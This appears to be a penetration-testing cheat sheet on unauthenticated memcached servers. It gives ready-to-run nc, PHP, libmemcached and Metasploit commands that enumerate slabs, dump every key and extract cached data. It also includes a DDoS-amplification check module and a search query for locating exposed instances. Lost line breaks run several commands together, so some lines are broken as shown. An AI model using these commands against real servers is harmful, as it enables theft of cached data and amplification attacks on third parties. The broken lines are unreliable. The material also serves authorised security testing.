Memcached (pronunciation: mem-cashed, mem-cash-dee) is a general-purpose distributed memory caching system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source (such as a database or API) must be read. (From wikipedia) Although Memcached supports SASL, most instances are exposed without authentication.
Default port: 11211
PORT STATE SERVICE11211/tcp open unknown
To ex-filtrate all the information saved inside a memcache instance you need to:
Find slabs with active items
Get the key names of the slabs detected before
Ex-filtrate the saved data by getting the key names
Remember that this service is just a cache, so data may be appearing and disappearing.
echo "version" | nc -vn -w 1 <IP> 11211 #Get versionecho "stats" | nc -vn -w 1 <IP> 11211 #Get statusecho "stats slabs" | nc -vn -w 1 <IP> 11211 #Get slabsecho "stats items" | nc -vn -w 1 <IP> 11211 #Get items of slabs with infoecho "stats cachedump <number> 0" | nc -vn -w 1 <IP> 11211 #Get key names (the 0 is for unlimited output size)echo "get <item_name>" | nc -vn -w 1 <IP> 11211 #Get saved info​#This php will just dump the keys, you need to use "get <item_name> later"sudo apt-get install php-memcachedphp -r '$c = new Memcached(); $c->addServer("localhost", 11211); var_dump( $c->getAllKeys() );'
sudo apt install libmemcached-toolsmemcstat --servers=127.0.0.1 #Get statsmemcdump --servers=127.0.0.1 #Get all itemsmemccat --servers=127.0.0.1 <item1> <item2> <item3> #Get info inside the item(s)
nmap -n -sV --script memcached-info -p 11211 <IP> #Just gather infomsf > use auxiliary/gather/memcached_extractor #Extracts saved datamsf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible
port:11211 "STAT pid"
"STAT pid"